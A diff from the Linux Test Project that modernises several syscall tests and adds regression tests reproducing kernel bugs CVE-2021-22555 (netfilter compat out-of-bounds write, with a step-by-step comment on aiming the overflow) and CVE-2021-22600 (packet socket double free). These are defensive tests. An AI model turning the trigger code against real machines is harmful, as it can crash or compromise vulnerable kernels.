+	{&main_uid, &neg_one, 0, &main_uid, &main_uid, &main_uid,
+		"setreuid(main, -1)"},
+	{&neg_one, &other_uid, -1, &main_uid, &main_uid, &main_uid,
+		"setreuid(-1, other)"},
+};
 
 static void setup(void)
 {
-	tst_require_root();
+	uid_t test_users[3];
+	struct passwd *pw;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
+	root_uid = getuid();
+	pw = SAFE_GETPWNAM("nobody");
+	nobody_uid = test_users[0] = pw->pw_uid;
+	tst_get_uids(test_users, 1, 3);
+	main_uid = test_users[1];
+	other_uid = test_users[2];
 
-	if (getpwnam("nobody") == NULL)
-		tst_brkm(TBROK, NULL, "nobody must be a valid user.");
+	UID16_CHECK(root_uid, setreuid);
+	UID16_CHECK(nobody_uid, setreuid);
+	UID16_CHECK(main_uid, setreuid);
+	UID16_CHECK(other_uid, setreuid);
 
-	if (getpwnam("daemon") == NULL)
-		tst_brkm(TBROK, NULL, "daemon must be a valid user.");
-
-	if (getpwnam("bin") == NULL)
-		tst_brkm(TBROK, NULL, "bin must be a valid user.");
-
-	nobody = *(getpwnam("nobody"));
-	UID16_CHECK(nobody.pw_uid, setreuid, cleanup);
-
-	daemonpw = *(getpwnam("daemon"));
-	UID16_CHECK(daemonpw.pw_uid, setreuid, cleanup);
-
-	root = *(getpwnam("root"));
-	UID16_CHECK(root.pw_uid, setreuid, cleanup);
-
-	bin = *(getpwnam("bin"));
-	UID16_CHECK(bin.pw_uid, setreuid, cleanup);
-
-	TEST_PAUSE;
+	/* Make sure that saved UID is also set to root */
+	SAFE_SETUID(root_uid);
 }
 
-static void cleanup(void)
+static void run_child(const struct test_data_t *tc)
 {
-}
-
-static void uid_verify(struct passwd *ru, struct passwd *eu, char *when)
-{
-	if ((getuid() != ru->pw_uid) || (geteuid() != eu->pw_uid)) {
-		tst_resm(TFAIL, "ERROR: %s real uid = %d; effective uid = %d",
-			 when, getuid(), geteuid());
-		tst_resm(TINFO, "Expected: real uid = %d; effective uid = %d",
-			 ru->pw_uid, eu->pw_uid);
+	if (tc->exp_ret) {
+		TST_EXP_FAIL(SETREUID(*tc->real_uid, *tc->eff_uid), EPERM,
+			"%s", tc->test_msg);
+	} else {
+		TST_EXP_PASS(SETREUID(*tc->real_uid, *tc->eff_uid), "%s",
+			tc->test_msg);
 	}
+
+	if (!TST_PASS)
+		return;
+
+	tst_check_resuid(tc->test_msg, *tc->exp_real_uid, *tc->exp_eff_uid,
+		*tc->exp_sav_uid);
 }
+
+static void run(void)
+{
+	if (!SAFE_FORK()) {
+		unsigned int i;
+
+		for (i = 0; i < ARRAY_SIZE(test_data); i++)
+			run_child(test_data + i);
+
+		exit(0);
+	}
+
+	tst_reap_children();
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.needs_root = 1,
+	.forks_child = 1,
+};
diff --git a/testcases/kernel/syscalls/setsid/setsid01.c b/testcases/kernel/syscalls/setsid/setsid01.c
index ed8f0e4..08a7e25 100644
--- a/testcases/kernel/syscalls/setsid/setsid01.c
+++ b/testcases/kernel/syscalls/setsid/setsid01.c
@@ -185,7 +185,7 @@
 			tst_resm(TPASS, "setsid SUCCESS to set "
 				 "errno to EPERM");
 		} else {
-			tst_resm(TFAIL, "setsid failed, expected %d,"
+			tst_resm(TFAIL, "setsid failed, expected %d, "
 				 "return %d", -1, errno);
 			exno = 3;
 		}
diff --git a/testcases/kernel/syscalls/setsockopt/.gitignore b/testcases/kernel/syscalls/setsockopt/.gitignore
index 1ca5b83..fd3235b 100644
--- a/testcases/kernel/syscalls/setsockopt/.gitignore
+++ b/testcases/kernel/syscalls/setsockopt/.gitignore
@@ -5,3 +5,5 @@
 /setsockopt05
 /setsockopt06
 /setsockopt07
+/setsockopt08
+/setsockopt09
diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt03.c b/testcases/kernel/syscalls/setsockopt/setsockopt03.c
index 14fdf40..191c4cd 100644
--- a/testcases/kernel/syscalls/setsockopt/setsockopt03.c
+++ b/testcases/kernel/syscalls/setsockopt/setsockopt03.c
@@ -19,14 +19,14 @@
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <netinet/in.h>
-#include <net/if.h>
 #include <limits.h>
-#include <linux/netfilter_ipv4/ip_tables.h>
 
 #include "tst_test.h"
 #include "tst_safe_net.h"
 #include "tst_kernel.h"
 
+#include "lapi/ip_tables.h"
+
 #define TOO_SMALL_OFFSET 74
 #define OFFSET_OVERWRITE 0xFFFF
 #define NEXT_OFFSET (sizeof(struct ipt_entry)		\
@@ -34,42 +34,6 @@
 		     + sizeof(struct xt_entry_target))
 #define PADDING (OFFSET_OVERWRITE - NEXT_OFFSET)
 
-#ifndef HAVE_STRUCT_XT_ENTRY_MATCH
-struct xt_entry_match {
-	union {
-		struct {
-			uint16_t match_size;
-			char name[29];
-			uint8_t revision;
-		} user;
-		struct {
-			uint16_t match_size;
-			void *match;
-		} kernel;
-		uint16_t match_size;
-	} u;
-	unsigned char data[0];
-};
-#endif
-
-#ifndef HAVE_STRUCT_XT_ENTRY_TARGET
-struct xt_entry_target {
-	union {
-		struct {
-			uint16_t target_size;
-			char name[29];
-			uint8_t revision;
-		} user;
-		struct {
-			uint16_t target_size;
-			void *target;
-		} kernel;
-		uint16_t target_size;
-	} u;
-	unsigned char data[0];
-};
-#endif
-
 struct payload {
 	struct ipt_replace repl;
 	struct ipt_entry ent;
@@ -114,4 +78,9 @@
 	.setup = setup,
 	.test_all = run,
 	.needs_root = 1,
+	.tags = (const struct tst_tag[]){
+		{"linux-git", "ce683e5f9d04"},
+		{"CVE", "CVE-2016-4997"},
+		{}
+	}
 };
diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt05.c b/testcases/kernel/syscalls/setsockopt/setsockopt05.c
index 0b7ff39..651583f 100644
--- a/testcases/kernel/syscalls/setsockopt/setsockopt05.c
+++ b/testcases/kernel/syscalls/setsockopt/setsockopt05.c
@@ -40,6 +40,8 @@
 	struct ifreq ifr;
 	socklen_t addrlen = sizeof(addr);
 
+	SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10);
+
 	SAFE_UNSHARE(CLONE_NEWUSER);
 	SAFE_UNSHARE(CLONE_NEWNET);
 	SAFE_FILE_PRINTF("/proc/self/setgroups", "deny");
@@ -99,6 +101,10 @@
 		"CONFIG_NET_NS=y",
 		NULL
 	},
+	.save_restore = (const struct tst_path_val[]) {
+		{"?/proc/sys/user/max_user_namespaces", NULL},
+		{}
+	},
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "85f1bd9a7b5a"},
 		{"CVE", "2017-1000112"},
diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt06.c b/testcases/kernel/syscalls/setsockopt/setsockopt06.c
index 33284e5..9c81864 100644
--- a/testcases/kernel/syscalls/setsockopt/setsockopt06.c
+++ b/testcases/kernel/syscalls/setsockopt/setsockopt06.c
@@ -28,6 +28,7 @@
 #include "lapi/if_ether.h"
 
 static int sock = -1;
+static unsigned int pagesize;
 static struct tst_fzsync_pair fzsync_pair;
 
 static void setup(void)
@@ -35,6 +36,9 @@
 	int real_uid = getuid();
 	int real_gid = getgid();
 
+	pagesize = SAFE_SYSCONF(_SC_PAGESIZE);
+	SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10);
+
 	SAFE_UNSHARE(CLONE_NEWUSER);
 	SAFE_UNSHARE(CLONE_NEWNET);
 	SAFE_FILE_PRINTF("/proc/self/setgroups", "deny");
@@ -42,7 +46,6 @@
 	SAFE_FILE_PRINTF("/proc/self/gid_map", "0 %d 1", real_gid);
 
 	fzsync_pair.exec_loops = 100000;
-	fzsync_pair.exec_time_p = 0.9;
 	tst_fzsync_pair_init(&fzsync_pair);
 }
 
@@ -50,9 +53,9 @@
 {
 	int ret;
 	struct tpacket_req3 req = {
-		.tp_block_size = 4096,
+		.tp_block_size = pagesize,
 		.tp_block_nr = 1,
-		.tp_frame_size = 4096,
+		.tp_frame_size = pagesize,
 		.tp_frame_nr = 1,
 		.tp_retire_blk_tov = 100
 	};
@@ -119,12 +122,17 @@
 	.test_all = run,
 	.setup = setup,
 	.cleanup = cleanup,
+	.max_runtime = 270,
 	.taint_check = TST_TAINT_W | TST_TAINT_D,
 	.needs_kconfigs = (const char *[]) {
 		"CONFIG_USER_NS=y",
 		"CONFIG_NET_NS=y",
 		NULL
 	},
+	.save_restore = (const struct tst_path_val[]) {
+		{"?/proc/sys/user/max_user_namespaces", NULL},
+		{}
+	},
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "84ac7260236a"},
 		{"CVE", "2016-8655"},
diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt07.c b/testcases/kernel/syscalls/setsockopt/setsockopt07.c
index b002869..616159a 100644
--- a/testcases/kernel/syscalls/setsockopt/setsockopt07.c
+++ b/testcases/kernel/syscalls/setsockopt/setsockopt07.c
@@ -31,6 +31,7 @@
 #include "lapi/if_ether.h"
 
 static int sock = -1;
+static unsigned int pagesize;
 static struct tst_fzsync_pair fzsync_pair;
 
 static void setup(void)
@@ -38,6 +39,9 @@
 	int real_uid = getuid();
 	int real_gid = getgid();
 
+	pagesize = SAFE_SYSCONF(_SC_PAGESIZE);
+	SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10);
+
 	SAFE_UNSHARE(CLONE_NEWUSER);
 	SAFE_UNSHARE(CLONE_NEWNET);
 	SAFE_FILE_PRINTF("/proc/self/setgroups", "deny");
@@ -71,9 +75,9 @@
 	unsigned int val, version = TPACKET_V3;
 	socklen_t vsize = sizeof(val);
 	struct tpacket_req3 req = {
-		.tp_block_size = 4096,
+		.tp_block_size = pagesize,
 		.tp_block_nr = 1,
-		.tp_frame_size = 4096,
+		.tp_frame_size = pagesize,
 		.tp_frame_nr = 1,
 		.tp_retire_blk_tov = 100
 	};
@@ -111,7 +115,7 @@
 				"Invalid setsockopt() return value");
 		}
 
-		if (val > req.tp_block_size){
+		if (val > req.tp_block_size) {
 			tst_res(TFAIL, "PACKET_RESERVE checks bypassed");
 			return;
 		}
@@ -132,11 +136,16 @@
 	.test_all = run,
 	.setup = setup,
 	.cleanup = cleanup,
+	.max_runtime = 150,
 	.needs_kconfigs = (const char *[]) {
 		"CONFIG_USER_NS=y",
 		"CONFIG_NET_NS=y",
 		NULL
 	},
+	.save_restore = (const struct tst_path_val[]) {
+		{"?/proc/sys/user/max_user_namespaces", NULL},
+		{}
+	},
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "c27927e372f0"},
 		{"CVE", "2017-1000111"},
diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt08.c b/testcases/kernel/syscalls/setsockopt/setsockopt08.c
new file mode 100644
index 0000000..5634446
--- /dev/null
+++ b/testcases/kernel/syscalls/setsockopt/setsockopt08.c
@@ -0,0 +1,170 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 SUSE LLC <rpalethorpe@suse.com>
+ * Based on reproducer by Nicolai Stange based on PoC Andy Nguyen
+ */
+/*\
+ * [Description]
+ *
+ * This will reproduce the bug on x86_64 in 32bit compatibility
+ * mode. It is most reliable with KASAN enabled. Otherwise it relies
+ * on the out-of-bounds write corrupting something which leads to a
+ * crash. It will run in other scenarious, but is not a test for the
+ * CVE.
+ *
+ * See https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
+ *
+ * Also below is Nicolai's detailed description of the bug itself.
+ *
+ * The problem underlying CVE-2021-22555 fixed by upstream commit
+ * b29c457a6511 ("netfilter: x_tables: fix compat match/target pad
+ * out-of-bound write") is that the (now removed) padding zeroing code
+ * in xt_compat_target_from_user() had been based on the premise that
+ * the user specified ->u.user.target_size, which will be considered
+ * for the target buffer allocation size, is greater or equal than
+ * what's needed to fit the corresponding xt_target instance's
+ * ->targetsize: if OTOH the user specified ->u.user.target_size is
+ * too small, then the memset() destination address calculated by
+ * adding ->targetsize to the payload start will not point at, but
+ * into or even past the padding. For the table's last entry's target
+ * record, this will result in an out-of-bounds write past the
+ * destination buffer allocated for the converted table. The code
+ * below will create a (compat) table such that the converted table's
+ * calculated size will fit exactly into a slab size of 1024 bytes and
+ * that the memset() in xt_compat_target_from_user() will write past
+ * this slab.
+ *
+ * The table will consist of
+ *  - the mandatory struct compat_ipt_replace header,
+ *  - a single entry consisting of
+ *    - the mandatory compat_ipt_entry header
+ *    - a single 'state' match entry of appropriate size for
+ *      controlling the out-of-bounds write when converting
+ *      the target entry following next,
+ *    - a single 'REJECT' target entry.
+ * The kernel will transform this into a buffer containing (in
+ * this order)
+ * - a xt_table_info
+ * - a single entry consisting of
+ *   - its ipt_entry header
+ *   - a single 'state' match entry
+ *   - followed by a single 'REJECT' target entry.
+ *
+ * The expected sizes for the 'state' match entries as well as the
+ * 'REJECT' target are the size of the base header struct (32 bytes)
+ * plus the size of an unsigned int (4 bytes) each. In the course of
+ * the compat => non-compat conversion, the kernel will insert four
+ * bytes of padding after the unsigned int payload (c.f.  'off'
+ * adjustments via xt_compat_match_offset() and
+ * xt_compat_target_offset() in xt_compat_match_from_user() and
+ * xt_compat_target_from_user() resp.). This code is based on the
+ * premise that the user sets the given ->u.user.match_size or
+ * ->u.user.target_size consistent to the COMPAT_XT_ALIGN()ed payload
+ * size as specified by the corresponding xt_match instance's
+ * ->matchsize or xt_target instance's ->targetsize. That is, the
+ * padding gets inserted unconditionally during the transformation,
+ * independent of the actual values of ->u.user.match_size or
+ * ->u.user.target_size and the result ends up getting layed out with
+ * proper alignment only if said values match the expectations. That's
+ * not a problem in itself, but this unconditional insertion of
+ * padding must be taken into account in the match_size calculation
+ * below.
+ *
+ * For the match_size calculation below, note that the chosen
+ * target slab size is 1024 and that
+ *  - sizeof(xt_table_info) = 64
+ *  - sizeof(ipt_entry) = 112
+ *  - the kernel will insert four bytes of padding
+ *    after the match and target entries each.
+ *  - sizeof(struct xt_entry_target) = 32
+ */
+
+#include <netinet/in.h>
+
+#include "tst_test.h"
+#include "tst_safe_net.h"
+#include "lapi/ip_tables.h"
+#include "lapi/namespaces_constants.h"
+
+static void *buffer;
+
+void setup(void)
+{
+	if (tst_kernel_bits() == 32 || sizeof(long) > 4) {
+		tst_res(TINFO,
+			"The vulnerability was only present in 32-bit compat mode");
+	}
+
+	SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10);
+
+	SAFE_UNSHARE(CLONE_NEWUSER);
+	SAFE_UNSHARE(CLONE_NEWNET);
+}
+
+void run(void)
+{
+	const char *const res_fmt_str =
+		"setsockopt(%d, IPPROTO_IP, IPT_SO_SET_REPLACE, %p, 1)";
+	struct ipt_replace *ipt_replace = buffer;
+	struct ipt_entry *ipt_entry = &ipt_replace->entries[0];
+	struct xt_entry_match *xt_entry_match =
+		(struct xt_entry_match *)&ipt_entry->elems[0];
+	const size_t tgt_size = 32;
+	const size_t match_size = 1024 - 64 - 112 - 4 - tgt_size - 4;
+	struct xt_entry_target *xt_entry_tgt =
+		((struct xt_entry_target *) (&ipt_entry->elems[0] + match_size));
+	int fd = SAFE_SOCKET(AF_INET, SOCK_DGRAM, 0);
+	int result;
+
+	xt_entry_match->u.user.match_size = (u_int16_t)match_size;
+	strcpy(xt_entry_match->u.user.name, "state");
+
+	xt_entry_tgt->u.user.target_size = (u_int16_t)tgt_size;
+	strcpy(xt_entry_tgt->u.user.name, "REJECT");
+
+	ipt_entry->target_offset =
+		(__builtin_offsetof(struct ipt_entry, elems) + match_size);
+	ipt_entry->next_offset = ipt_entry->target_offset + tgt_size;
+
+	strcpy(ipt_replace->name, "filter");
+	ipt_replace->num_entries = 1;
+	ipt_replace->num_counters = 1;
+	ipt_replace->size = ipt_entry->next_offset;
+
+	TEST(setsockopt(fd, IPPROTO_IP, IPT_SO_SET_REPLACE, buffer, 1));
+
+	if (TST_RET == -1 && TST_ERR == ENOPROTOOPT)
+		tst_brk(TCONF | TTERRNO, res_fmt_str, fd, buffer);
+
+	result = (TST_RET == -1 && TST_ERR == EINVAL) ? TPASS : TFAIL;
+	tst_res(result | TTERRNO, res_fmt_str, fd, buffer);
+
+	SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.forks_child = 1,
+	.bufs = (struct tst_buffers []) {
+		{&buffer, .size = 2048},
+		{},
+	},
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_NETFILTER_XT_MATCH_STATE",
+		"CONFIG_IP_NF_TARGET_REJECT",
+		"CONFIG_USER_NS=y",
+		"CONFIG_NET_NS=y",
+		NULL
+	},
+	.save_restore = (const struct tst_path_val[]) {
+		{"?/proc/sys/user/max_user_namespaces", NULL},
+		{}
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "b29c457a6511"},
+		{"CVE", "2021-22555"},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt09.c b/testcases/kernel/syscalls/setsockopt/setsockopt09.c
new file mode 100644
index 0000000..98f7fd0
--- /dev/null
+++ b/testcases/kernel/syscalls/setsockopt/setsockopt09.c
@@ -0,0 +1,136 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 SUSE LLC
+ * Author: Marcos Paulo de Souza <mpdesouza@suse.com>
+ * LTP port: Martin Doucha <mdoucha@suse.cz>
+ */
+
+/*\
+ * [Description]
+ *
+ * Check for possible double free of rx_owner_map after switching packet
+ * interface versions aka CVE-2021-22600.
+ *
+ * Kernel crash fixed in:
+ *
+ *  commit ec6af094ea28f0f2dda1a6a33b14cd57e36a9755
+ *  Author: Willem de Bruijn <willemb@google.com>
+ *  Date:   Wed Dec 15 09:39:37 2021 -0500
+ *
+ *  net/packet: rx_owner_map depends on pg_vec
+ *
+ *  commit c800aaf8d869f2b9b47b10c5c312fe19f0a94042
+ *  Author: WANG Cong <xiyou.wangcong@gmail.com>
+ *  Date:   Mon Jul 24 10:07:32 2017 -0700
+ *
+ *  packet: fix use-after-free in prb_retire_rx_blk_timer_expired()
+ */
+
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sched.h>
+
+#include "tst_test.h"
+#include "lapi/if_packet.h"
+
+static int sock = -1;
+static unsigned int pagesize;
+
+static void setup(void)
+{
+	int real_uid = getuid();
+	int real_gid = getgid();
+
+	pagesize = SAFE_SYSCONF(_SC_PAGESIZE);
+	SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10);
+
+	SAFE_UNSHARE(CLONE_NEWUSER);
+	SAFE_UNSHARE(CLONE_NEWNET);
+	SAFE_FILE_PRINTF("/proc/self/setgroups", "deny");
+	SAFE_FILE_PRINTF("/proc/self/uid_map", "0 %d 1", real_uid);
+	SAFE_FILE_PRINTF("/proc/self/gid_map", "0 %d 1", real_gid);
+}
+
+static void run(void)
+{
+	unsigned int i, version = TPACKET_V3;
+	struct tpacket_req3 req = {
+		.tp_block_size = 4 * pagesize,
+		.tp_frame_size = TPACKET_ALIGNMENT << 7,
+		.tp_retire_blk_tov = 64,
+		.tp_feature_req_word = TP_FT_REQ_FILL_RXHASH
+	};
+
+	for (i = 0; i < 5; i++) {
+		req.tp_block_nr = 256;
+		req.tp_frame_nr = req.tp_block_size * req.tp_block_nr;
+		req.tp_frame_nr /= req.tp_frame_size;
+
+		sock = SAFE_SOCKET(AF_PACKET, SOCK_RAW, 0);
+		TEST(setsockopt(sock, SOL_PACKET, PACKET_VERSION, &version,
+			sizeof(version)));
+
+		if (TST_RET == -1 && TST_ERR == EINVAL)
+			tst_brk(TCONF | TTERRNO, "TPACKET_V3 not supported");
+
+		if (TST_RET) {
+			tst_brk(TBROK | TTERRNO,
+				"setsockopt(PACKET_VERSION, TPACKET_V3)");
+		}
+
+		/* Allocate owner map and then free it again */
+		SAFE_SETSOCKOPT(sock, SOL_PACKET, PACKET_RX_RING, &req,
+			sizeof(req));
+		req.tp_block_nr = 0;
+		req.tp_frame_nr = 0;
+		SAFE_SETSOCKOPT(sock, SOL_PACKET, PACKET_RX_RING, &req,
+			sizeof(req));
+
+		/* Switch packet version and trigger double free of owner map */
+		SAFE_SETSOCKOPT_INT(sock, SOL_PACKET, PACKET_VERSION,
+			TPACKET_V2);
+		SAFE_SETSOCKOPT(sock, SOL_PACKET, PACKET_RX_RING, &req,
+			sizeof(req));
+		SAFE_CLOSE(sock);
+
+		/* Wait for socket timer to expire just in case */
+		usleep(req.tp_retire_blk_tov * 3000);
+
+		if (tst_taint_check()) {
+			tst_res(TFAIL, "Kernel is vulnerable");
+			return;
+		}
+	}
+
+	tst_res(TPASS, "Nothing bad happened, probably");
+}
+
+static void cleanup(void)
+{
+	if (sock >= 0)
+		SAFE_CLOSE(sock);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_USER_NS=y",
+		"CONFIG_NET_NS=y",
+		NULL
+	},
+	.save_restore = (const struct tst_path_val[]) {
+		{"?/proc/sys/user/max_user_namespaces", NULL},
+		{}
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "ec6af094ea28"},
+		{"linux-git", "c800aaf8d869"},
+		{"CVE", "2021-22600"},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/setuid/setuid01.c b/testcases/kernel/syscalls/setuid/setuid01.c
index 0a0a03a..c136444 100644
--- a/testcases/kernel/syscalls/setuid/setuid01.c
+++ b/testcases/kernel/syscalls/setuid/setuid01.c
@@ -1,12 +1,14 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines Corp., 2001
+ * Copyright (c) Linux Test Project, 2009-2022
  */
 
-/* DESCRIPTION
- *	This test will verify that setuid(2) syscall basic functionality.
- *	setuid(2) returns a value of 0 and uid has been set successfully
- *	as a normal or super user.
+/*\
+ * [Description]
+ *
+ * Verify that setuid(2) returns 0 and effective uid has
+ * been set successfully as a normal or super user.
  */
 
 #include <errno.h>
@@ -19,15 +21,10 @@
 {
 	uid_t uid;
 
-	/* Set the effective user ID to the current real uid */
 	uid = getuid();
 	UID16_CHECK(uid, setuid);
 
-	TEST(SETUID(uid));
-	if (TST_RET == -1)
-		tst_res(TFAIL | TTERRNO, "setuid(%d) failed", uid);
-	else
-		tst_res(TPASS, "setuid(%d) successfully", uid);
+	TST_EXP_PASS(SETUID(uid), "setuid(%d)", uid);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/sgetmask/sgetmask01.c b/testcases/kernel/syscalls/sgetmask/sgetmask01.c
index 2b482f3..afd4091 100644
--- a/testcases/kernel/syscalls/sgetmask/sgetmask01.c
+++ b/testcases/kernel/syscalls/sgetmask/sgetmask01.c
@@ -125,11 +125,11 @@
 		for (testno = 0; testno < TST_TOTAL; ++testno) {
 
 			for (sig = -3; sig <= SIGRTMAX + 1; sig++) {
-				TEST(ltp_syscall(__NR_ssetmask, sig));
+				TEST(tst_syscall(__NR_ssetmask, sig));
 				tst_resm(TINFO, "Setting signal : %d -- "
 					"return of setmask : %ld",
 					sig, TEST_RETURN);
-				TEST(ltp_syscall(__NR_sgetmask));
+				TEST(tst_syscall(__NR_sgetmask));
 				if (TEST_RETURN != sig) {
 					tst_resm(TINFO,
 						 "Oops,setting sig %d, got %ld",
diff --git a/testcases/kernel/syscalls/sigaction/sigaction01.c b/testcases/kernel/syscalls/sigaction/sigaction01.c
index e8e8a49..17b744b 100644
--- a/testcases/kernel/syscalls/sigaction/sigaction01.c
+++ b/testcases/kernel/syscalls/sigaction/sigaction01.c
@@ -142,7 +142,7 @@
 		 * of the signal list
 		 */
 		if (sigismember(&omask, sig) == 0) {
-			tst_resm(TFAIL, "SA_RESETHAND should cause sig to"
+			tst_resm(TFAIL, "SA_RESETHAND should cause sig to "
 				 "be masked when the handler executes.");
 			return;
 		}
@@ -156,7 +156,7 @@
 		 * included sig.
 		 */
 		if (!sigismember(&omask, sig)) {
-			tst_resm(TFAIL, "sig should continue to be masked"
+			tst_resm(TFAIL, "sig should continue to be masked "
 				 "because sa_mask originally contained sig.");
 			return;
 		}
diff --git a/testcases/kernel/syscalls/sighold/sighold02.c b/testcases/kernel/syscalls/sighold/sighold02.c
index b763142..1cfb768 100644
--- a/testcases/kernel/syscalls/sighold/sighold02.c
+++ b/testcases/kernel/syscalls/sighold/sighold02.c
@@ -1,80 +1,39 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  *  AUTHOR          : Bob Clark
  *  CO-PILOT        : Barrie Kletscher
  *  DATE STARTED    : 9/26/86
  * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
-/*
- * TEST ITEMS
- *	1. sighold action to turn off the receipt of all signals was done
- *	   without error.
+
+/*\
+ * [Description]
+ *
+ * This test checks following conditions:
+ *	1. sighold action to turn off the receipt of all signals was done without error.
  *	2. After signals were held, and sent, no signals were trapped.
  */
-#define _XOPEN_SOURCE 500
-#include <errno.h>
+
+#define _XOPEN_SOURCE 600
 #include <signal.h>
-#include <string.h>
-#include <fcntl.h>
-#include <stdlib.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include "test.h"
-#include "safe_macros.h"
-#include "lapi/signal.h"
+#include "tst_test.h"
 
-/* _XOPEN_SOURCE disables NSIG */
 #ifndef NSIG
-# define NSIG _NSIG
+#	define NSIG _NSIG
 #endif
 
-/* ensure NUMSIGS is defined */
 #ifndef NUMSIGS
-# define NUMSIGS NSIG
+#	define NUMSIGS NSIG
 #endif
 
-char *TCID = "sighold02";
-int TST_TOTAL = 2;
-
-static int pid;
-static void do_child(void);
-static void setup(void);
-static void cleanup(void);
-
 static int sigs_catched;
 static int sigs_map[NUMSIGS];
 
 static int skip_sig(int sig)
 {
-	if (sig >= __SIGRTMIN && sig < SIGRTMIN)
+	if (sig >= 32 && sig < SIGRTMIN)
 		return 1;
 
 	switch (sig) {
@@ -88,115 +47,70 @@
 	}
 }
 
-int main(int ac, char **av)
-{
-	int sig;
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-#ifdef UCLINUX
-	maybe_run_child(&do_child, "");
-#endif
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		if ((pid = FORK_OR_VFORK()) < 0) {
-			tst_brkm(TBROK | TERRNO, NULL, "fork() failed");
-		} else if (pid > 0) {
-			TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
-
-			for (sig = 1; sig < NUMSIGS; sig++) {
-				if (skip_sig(sig))
-					continue;
-				SAFE_KILL(NULL, pid, sig);
-			}
-
-			TST_SAFE_CHECKPOINT_WAKE(NULL, 0);
-			tst_record_childstatus(cleanup, pid);
-		} else {
-
-#ifdef UCLINUX
-			if (self_exec(av[0], "") < 0) {
-				tst_brkm(TBROK | TERRNO, NULL,
-					 "self_exec() failed");
-			}
-#else
-			do_child();
-#endif
-		}
-	}
-
-	cleanup();
-	tst_exit();
-}
-
 static void handle_sigs(int sig)
 {
 	sigs_map[sig] = 1;
 	sigs_catched++;
 }
 
-void do_child(void)
+static void do_child(void)
 {
-	int cnt;
 	int sig;
 
-	/* set up signal handler routine */
 	for (sig = 1; sig < NUMSIGS; sig++) {
 		if (skip_sig(sig))
 			continue;
 
-		if (signal(sig, handle_sigs) == SIG_ERR) {
-			tst_resm(TBROK | TERRNO, "signal() %i(%s) failed",
-				 sig, tst_strsig(sig));
-		}
+		SAFE_SIGNAL(sig, handle_sigs);
 	}
 
-	/* all set up to catch signals, now hold them */
-	for (cnt = 0, sig = 1; sig < NUMSIGS; sig++) {
+	for (sig = 1; sig < NUMSIGS; sig++) {
 		if (skip_sig(sig))
 			continue;
-		cnt++;
-		TEST(sighold(sig));
-		if (TEST_RETURN != 0) {
-			tst_resm(TBROK | TTERRNO, "sighold() %i(%s) failed",
-				 sig, tst_strsig(sig));
-		}
+
+		if (sighold(sig))
+			tst_brk(TBROK | TERRNO, "sighold(%s %i)", tst_strsig(sig), sig);
 	}
 
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0);
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 
 	if (!sigs_catched) {
-		tst_resm(TPASS, "All signals were hold");
-		tst_exit();
+		tst_res(TPASS, "all signals were hold");
+		return;
 	}
 
-	tst_resm(TFAIL, "Signal handler was executed");
+	tst_res(TFAIL, "signal handler was executed");
 
